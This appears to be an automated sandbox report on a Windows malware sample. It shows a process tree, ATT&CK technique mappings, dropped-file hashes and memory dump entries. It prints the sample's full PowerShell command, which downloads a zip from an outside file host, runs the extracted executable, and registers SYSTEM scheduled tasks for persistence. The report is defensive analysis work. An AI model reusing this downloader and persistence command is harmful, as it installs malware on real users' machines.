C:\Users\Admin\AppData\Local\Temp\Vat_N0.20260805114644.exe
"C:\Users\Admin\AppData\Local\Temp\Vat_N0.20260805114644.exe"
1⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3524
- C:\Windows\SysWOW64\cmd.exe
  /c C:\Windows\System32\ComputerDefaults.exe
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6360
- - C:\Windows\SysWOW64\ComputerDefaults.exe
    C:\Windows\System32\ComputerDefaults.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2468
  - - C:\ProgramData\S-1-5-21-1427324246-3256501537-2580039833-4151\SystemAppData\MicrosoftEdgeUpdateOnDemand.EXE
      "MicrosoftEdgeUpdateOnDemand.EXE"
      4⤵
      Enumerates connected drives
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1828
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im cmd.exe
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:7128
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c start "" /B cmd /C C:\Users\Admin\AppData\Local\Temp\BEAA01A0BB940DB1AAF.CMD
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:684
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /C C:\Users\Admin\AppData\Local\Temp\BEAA01A0BB940DB1AAF.CMD
        6⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2760
        
        C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq MicrosoftEdgeUpdateOnDemand.EXE" /FO CSV
        7⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3404
        
        C:\Windows\SysWOW64\find.exe
        
        FIND /I "MicrosoftEdgeUpdateOnDemand.EXE"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4276
        
        C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:3816
        
        C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq MicrosoftEdgeUpdateOnDemand.EXE" /FO CSV
        7⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2884
        
        C:\Windows\SysWOW64\find.exe
        
        FIND /I "MicrosoftEdgeUpdateOnDemand.EXE"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5836
        
        C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:7140
        
        C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq MicrosoftEdgeUpdateOnDemand.EXE" /FO CSV
        7⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1972
        
        C:\Windows\SysWOW64\find.exe
        
        FIND /I "MicrosoftEdgeUpdateOnDemand.EXE"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2568
        
        C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:7088
        
        C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq MicrosoftEdgeUpdateOnDemand.EXE" /FO CSV
        7⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5372
        
        C:\Windows\SysWOW64\find.exe
        
        FIND /I "MicrosoftEdgeUpdateOnDemand.EXE"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5492
        
        C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2768
        
        C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq MicrosoftEdgeUpdateOnDemand.EXE" /FO CSV
        7⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4808
        
        C:\Windows\SysWOW64\find.exe
        
        FIND /I "MicrosoftEdgeUpdateOnDemand.EXE"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2980
        
        C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4360
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5928
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -ExecutionPolicy Bypass -Command "$d=Join-Path $env:TEMP 'WDFi01-fm'; $t='UserExecutionTask01-FM'; $z=Join-Path $d '33.zip'; if (!(Test-Path $d) -or !(Get-ChildItem $d\*.exe -Recurse) -or !(Get-ChildItem $d\*.dll -Recurse)) { schtasks /end /tn $t 2>$null; if (Test-Path $d) { Get-ChildItem $d\*.exe -Recurse | ForEach-Object { Stop-Process -Name $_.BaseName -Force -ErrorAction SilentlyContinue }; Remove-Item $d -Recurse -Force -ErrorAction SilentlyContinue }; New-Item -ItemType Directory -Path $d -Force >$null; curl.exe -skL 'https://store-na-phx-4.gofile.io/download/direct/caab5826-49dc-4a9e-b436-753a021e5e95/33.zip' -o $z; if ((Test-Path $z) -and ((Get-Item $z).Length -gt 100)) { try { Expand-Archive $z $d -Force; Remove-Item $z -Force } catch { Remove-Item $d -Recurse -Force -ErrorAction SilentlyContinue } } }; $e=(Get-ChildItem $d\*.exe -Recurse | Select-Object -First 1); if ($e) { $tr=[char]34 + $e.FullName + [char]34; & schtasks /create /tn $t /tr $tr /sc ONSTART /ru SYSTEM /rl HIGHEST /f; if (!(Get-Process $e.BaseName -ErrorAction SilentlyContinue)) { schtasks /run /tn $t; Start-Sleep -s 3; if (!(Get-Process $e.BaseName -ErrorAction SilentlyContinue)) { Start-Process -FilePath $e.FullName -WorkingDirectory $e.DirectoryName -WindowStyle Hidden; Start-Sleep -s 5; if (!(Get-Process $e.BaseName -ErrorAction SilentlyContinue)) { Unblock-File $e.FullName; $c='/c start /d '+[char]34+$e.DirectoryName+[char]34+' /b '+[char]34+$e.FullName+[char]34; Start-Process cmd.exe -ArgumentList $c -WindowStyle Hidden; & schtasks /create /tn $t /tr $tr /sc ONLOGON /ru SYSTEM /rl HIGHEST /f } } } }"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:6756
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /end /tn UserExecutionTask01-FM
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1400
        
        C:\Windows\SysWOW64\curl.exe
        
        "C:\Windows\system32\curl.exe" -skL https://store-na-phx-4.gofile.io/download/direct/caab5826-49dc-4a9e-b436-753a021e5e95/33.zip -o C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\33.zip
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6564
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn UserExecutionTask01-FM /tr "C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\zipwar.exe" /sc ONSTART /ru SYSTEM /rl HIGHEST /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:6876
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn UserExecutionTask01-FM
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1156

C:\ProgramData\S-1-5-21-1427324246-3256501537-2580039833-4151\SystemAppData\MicrosoftEdgeUpdateOnDemand.EXE
C:\ProgramData\S-1-5-21-1427324246-3256501537-2580039833-4151\SystemAppData\MicrosoftEdgeUpdateOnDemand.EXE
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:5888
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5888 -s 792
  2⤵
  - Program crash
  PID:6904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5888 -ip 5888
1⤵
PID:3972

C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\zipwar.exe
"C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\zipwar.exe"
1⤵
- Downloads MZ/PE file
- Drops file in System32 directory
- Drops file in Windows directory
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
PID:1172

C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\zipwar.exe
C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\zipwar.exe
1⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Loads dropped DLL
PID:6432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

MicrosoftEdgeUpdateOnDemand.EXE

Path C:\ProgramData\S-1-5-21-1427324246-3256501537-2580039833-4151\SystemAppData\MicrosoftEdgeUpdateOnDemand.EXE
Size 3.5MB
SHA256 b869fbddbda07a9b4e511f533b4b7ac2a161cc88dae0519e0e55347c74db94a8
MD5 c185dbe4fcb5da174009ada3aa4822c3
SHA1 e8f1f825d79914fe88e9fd40983661f5ed638800
SHA512 4fdad99da5cf6d3df2befe6505f844bafae4406f3b4e4c5777e767dd29ab0ec477e34fc73392288fd383b4a6900ecb6e8e933508c1c555a5343e1c46a4789af4
SSDEEP 98304:7yG4M3dIc4WP1RG/w7VoTwvLIBvnR31C5Tfw/Ix6vFdO7:O4+jTxZV1C5bcIx6v/O7
TLSH
T173F58D20BAC08036D97216314DAA7739A6BDFE301B35A1D752543E783930BD26D396BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pdfCORE8.dLl

Path C:\ProgramData\S-1-5-21-1427324246-3256501537-2580039833-4151\SystemAppData\pdfCORE8.dLl
Size 3.7MB
SHA256 5b2e7d59a3e4490d50053c01642277c5e906f0ba792a8e3ad4cc6e29b425acd5
MD5 a46532b7d0dd3448e8325efe7982ba51
SHA1 4d7090ab705cb3df31eb9fbe47c57cb288532593
SHA512 4cfba8e0b3ee592c0d1534b27c389b25ed6c29c2917b19e551a003d289fe7a1dea730b2b3837cbbbe64a00fcdce6aeabac11d013575b4e5b5ffb97c412804ed8
SSDEEP 98304:A4LMLEOsQahsGtiIwu5JCSM1UAFZY7lYSzPyi6:AhjIfCSM1xFSYs
TLSH
T1A106CF13354880FBD16B127A9519B6A5F3BDF4700BE50CD76BD8B60C2D33C82B6296A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BEAA01A0BB940DB1AAF.CMD

Path C:\Users\Admin\AppData\Local\Temp\BEAA01A0BB940DB1AAF.CMD
Size 1KB
SHA256 2efa71d415a9d42d37421a6734fbb85d97910ae890f4036f464e177e81e3eca2
MD5 d0f0afe29c18d57aebbea15bda235882
SHA1 ef420f5ecd7c7c26941ec043477e18738fc3a7e5
SHA512 0a968511da7eedd1833d9d944ccf6a3ab39679c875d0412d9fece84e0ef01eddca9350165bf0765d20f3b14adc596fc46a616bebe6202768f54705946c9e9aa4
TLSH
T1E131FE8EC4174E1D432542EF239ACCAAC754F047EDD47190B6E86BC02387B9D09A6BAD
MD5 SHA1 SHA512 TLSH

Submit Download

33.zip

Path C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\33.zip
Size 770KB
SHA256 8eef0ca2748c967736c41c149c8d1111a259716b8583ef8f0eef7b8a54e08d61
MD5 c9039c652bab3e612ebc1ed76f4eab22
SHA1 e4b3f1b77a34e77099be1c27edd39dcc8e3769b0
SHA512 dbf272547b3cf165fd1c1af576bc0c0480b9df6ead936fe4f7392539d303e318047bc16d69fb8f381be12d2e760c9e9b6ed434e0f77a80583086055626f542e9
SSDEEP 24576:3GRnAF+IBD/FI8L+xltZ2O4wbK6cOtTOe:3GRAF5BbFI8L+RcgbPcOj
TLSH
T1BBF423584FDE292D734ADD4622863B3AD8885D2CF8A6148190F4768D137DED6CC4EB37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libfabric.dll

Path C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\libfabric.dll
Size 1.9MB
SHA256 64b953e8d68c10a3625607d17f6200cd8962d7cfc76789a8fce7f61a8f29279b
MD5 103f42e21d47589ab5a236f5910c543b
SHA1 74581dddad40b27240b5cd8668b6078c3f196960
SHA512 b6ede6158a554431c44319d1a3f6fe72e026078c00b3b4a1ee4b268fe86cdb5b9901caa1667310e3cfa4eff90b09eeb4b43f7f4955cd2d9aeab830b62c536049
SSDEEP 24576:y1gn5NoAOQcGKQFHHDh+UBfzD+Wbetmmjdm6UfmKeIswKxAnyA/NL5Tf1WYow5U/:xwUzkjSmKe1wCA/nEY894vE
TLSH
T1C795B7A39944A6F8F90ED1F75ED1559238F1718207B418FFB6BC43390A86ED24FBA061
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zipwar.exe

Path C:\Users\Admin\AppData\Local\Temp\WDFi01-fm\zipwar.exe
Size 144KB
SHA256 f86af8533ca52c206ef1411e84a2b9c15b272e422c3b62a234ca0829b87a6fe8
MD5 cc3954d9e5cc013c6d110d1156b70ed3
SHA1 bcc93d4ce7c41d30b5d59a39180297c8497ed161
SHA512 2a630af540f2eb0c579bca4cdaddbe457edd695870e67d3542a9289cc9ee4eb12be92128d3121aff735f2d237510c85bc4a8b965755bbe91c093d4103b464d25
SSDEEP 3072:/TVe4i4UZtA5NC1Apy9X9ysiu6XVpOnz9jr0FHcqAtDrj7VOLd4IKuVFvkCb:/6zZOcm8Lyl5C2cC
TLSH
T176E38D5773B630F9D4728239C9A55906E772B87207648BAF03A0466A5F273919E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

advapi32_dll_6432_1786005615481411100.dll

Path C:\Users\Admin\AppData\Local\Temp\advapi32_dll_6432_1786005615481411100.dll
Size 719KB
SHA256 9d3b59400a91b58f359d2a79874ec17d7cb6c6753012e7377c9bfd26b080d14a
MD5 e16825c0edcfddf4b52b4821aa0e7351
SHA1 33dbc782a1de1b33a40135be9a0da9b31de7133a
SHA512 47208ff3d5ac55d78ba6360c7bb89cd3651abca54a335a1599d8d0b18710895637c0d527b33574604e1a5b939dd31fa52d104598238077997f31ae2e7e0b0138
SSDEEP 12288:bhc5ovm3ka910ovxS78D/R9g9amnlMM+0KyEJxS0TZ:bhcqudDe8DZSamnlvUyEJxS0V
TLSH
T11FF4391FEAA8059AD47A827584574231BBB2B834230267CB1550D63E9F1FFE86F39F50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ntdll.pdb

Path C:\Users\Admin\AppData\Local\Temp\av_symbol_cache\2e1b454917bd5c95\pdb\ntdll.pdb\219D0663E9DBAD581E64D9EC8618F5421\ntdll.pdb
Size 1.8MB
SHA256 f1f397540f246d8c5d810fc7f5bb3fc8aa5f5faa2195b3c02cccfc5d98caa77c
MD5 efaf77206dbf74e68d3aadb30439fe23
SHA1 0ed76fb3d538a704df634d50a6c036cdd189395a
SHA512 c8c1fec3d55e579f10bffa5d6e5e2f0c2d37800935363ec31298209f6e91873780a8fe6b01c8169176d5dd1d3d8a152b7756e6d19f21b73af9fcd82b83b0fa48
SSDEEP 12288:CJQHAActPNfytu1j7APo26reH/G7YNbQrLQdvUfXgYOEQFwfzlqGVBu:CPN5DXUzSWUfwYjQaf5Ju
TLSH
T1F09507367786BEF2E80A457FA0451349E7B89E8047A887D3BD8877A64CF2245CF2D351
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ntdll_dll_6432_1786005613071619700.dll

Path C:\Users\Admin\AppData\Local\Temp\ntdll_dll_6432_1786005613071619700.dll
Size 2.4MB
SHA256 4dfbbd3d58225196603c6e61a9a61a7f71b9712ee63c79431998e51b393b63e6
MD5 6e39c98cb92be9764588e666d25de801
SHA1 7e36d6a6d26be8c6382e068fad212cd851913bb9
SHA512 d7ffa15c29ed181b6cde362aecc9761c1e640c2e4f47f09236ddd84ed2e5488935af1650b32b6f58c5448252c51d0a3311c0950281041edd1e046304034b6baf
SSDEEP 49152:/8L7ZAtaVQTu10eF72silm29ZFF5l1E7bA:y8G0ewsitvj1gbA
TLSH
T1BEC5E612A3F80654F1F7BA3499B516219F767C96AB38C6DF1290416E1EB2FC08E74363
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Rpcrt4_dll_1172_1786005654272093000.dll

Path C:\Windows\SystemTemp\Rpcrt4_dll_1172_1786005654272093000.dll
Size 1.1MB
SHA256 6ce9a729d5053902315f86616a6e459981b699fcea64f28531b6d4e3dceefd68
MD5 cf5594b689ed451962d52a999beda80b
SHA1 00a3e0946df59f56a599e33be8693da464ecb93b
SHA512 e18c8e14470ecc6152d4574b3c2066e27e29a33753cc66bee3a3d3e4b8c0c1666566e4ecfea42b09bd038df7d659b9c0d371f1166298348fa06c067969ebee5e
SSDEEP 24576:a59Mz1SkmrJmdfQkTVKQoQ6fWeRBPvNZysdv2+:aEz1SeYkTVK2GWwvysdv2+
TLSH
T17B356B6AB7F80099D8BBC178C607861BDBB1B421132597CB12A0C7B96F27FD55B39720
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kernel32_dll_1172_1786005634708192400.dll

Path C:\Windows\SystemTemp\kernel32_dll_1172_1786005634708192400.dll
Size 808KB
SHA256 f694ab9ccf9d8c0b24003d14788b864a97c0f1ffe697ee043174626c30b96e2b
MD5 30120cac1a49a0bd98cdbc01e72bbcea
SHA1 1b01ad4562592505953dca01636bf9d0d8f792b3
SHA512 5f250023144fee952b2e00abd82494ca474d1a63f29d9cd2f09872a00c4cab94a309ad24946e898097149b3bfdbc0d65ffc67df221213a95b20a162fa15bb2cf
SSDEEP 24576:uajTWupv3gxX2/n0pDB1g0yS0wSR468+us1/sSVb:uzupv3gc/iu0ySyR468+um/sSVb
TLSH
T1A1057C2EB3BD11DAD8BAC17991524226EAB2F43413114ACF1590C63C9E1BFE47B3AF51
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1172-144-0x00007FFE57000000-0x00007FFE570C7000-memory.dmp

Download

memory/1172-175-0x0000000140000000-0x000000014001C000-memory.dmp

Download

memory/1172-152-0x00007FFE57A50000-0x00007FFE57B66000-memory.dmp

Download

memory/1172-106-0x00007FFE56AF0000-0x00007FFE56BA2000-memory.dmp

Download

memory/1172-97-0x00007FFE58280000-0x00007FFE584E3000-memory.dmp

Download

memory/1828-28-0x0000000004B50000-0x0000000004BA7000-memory.dmp

Download

memory/1828-29-0x0000000010000000-0x000000001001E000-memory.dmp

Download

memory/1828-12-0x0000000004B50000-0x0000000004BA7000-memory.dmp

Download

memory/1828-13-0x0000000004B50000-0x0000000004BA7000-memory.dmp

Download

memory/1828-11-0x0000000004B50000-0x0000000004BA7000-memory.dmp

Download

memory/1828-9-0x0000000004B50000-0x0000000004BA7000-memory.dmp

Download

memory/1828-8-0x0000000004B50000-0x0000000004BA7000-memory.dmp

Download

memory/6432-145-0x0000000140000000-0x000000014001C000-memory.dmp

Download

memory/6432-102-0x00007FFE58280000-0x00007FFE584E3000-memory.dmp

Download

memory/6432-110-0x00007FFE56AF0000-0x00007FFE56BA2000-memory.dmp

Download

memory/6432-114-0x00007FFE57000000-0x00007FFE570C7000-memory.dmp

Download

memory/6432-118-0x00007FFE57A50000-0x00007FFE57B66000-memory.dmp

Download

memory/6432-134-0x0000000140000000-0x000000014001C000-memory.dmp

Download

memory/6756-40-0x0000000004D30000-0x0000000004D52000-memory.dmp

Download

memory/6756-63-0x00000000072B0000-0x00000000072C2000-memory.dmp

Download

memory/6756-62-0x0000000007240000-0x0000000007251000-memory.dmp

Download

memory/6756-64-0x0000000007270000-0x000000000727A000-memory.dmp

Download

memory/6756-61-0x00000000070D0000-0x00000000070DA000-memory.dmp

Download

memory/6756-60-0x0000000008080000-0x00000000086FC000-memory.dmp

Download

memory/6756-59-0x0000000006F50000-0x0000000006FF3000-memory.dmp

Download

memory/6756-58-0x0000000006F20000-0x0000000006F40000-memory.dmp

Download

memory/6756-55-0x000000006E930000-0x000000006EC8B000-memory.dmp

Download

memory/6756-54-0x000000006E7D0000-0x000000006E81C000-memory.dmp

Download

memory/6756-53-0x0000000006EE0000-0x0000000006F16000-memory.dmp

Download

memory/6756-51-0x0000000007440000-0x00000000079FA000-memory.dmp

Download

memory/6756-49-0x0000000006050000-0x000000000606A000-memory.dmp

Download

memory/6756-50-0x00000000060D0000-0x00000000060F2000-memory.dmp

Download

memory/6756-48-0x0000000006DE0000-0x0000000006E76000-memory.dmp

Download

memory/6756-47-0x00000000057C0000-0x000000000580C000-memory.dmp

Download

memory/6756-46-0x0000000005760000-0x000000000577E000-memory.dmp

Download

memory/6756-45-0x0000000005820000-0x0000000005B7B000-memory.dmp

Download

memory/6756-42-0x00000000055B0000-0x0000000005616000-memory.dmp

Download

memory/6756-41-0x0000000005540000-0x00000000055A6000-memory.dmp

Download

memory/6756-39-0x0000000004D80000-0x00000000053CA000-memory.dmp

Download

memory/6756-38-0x0000000004610000-0x0000000004646000-memory.dmp

Download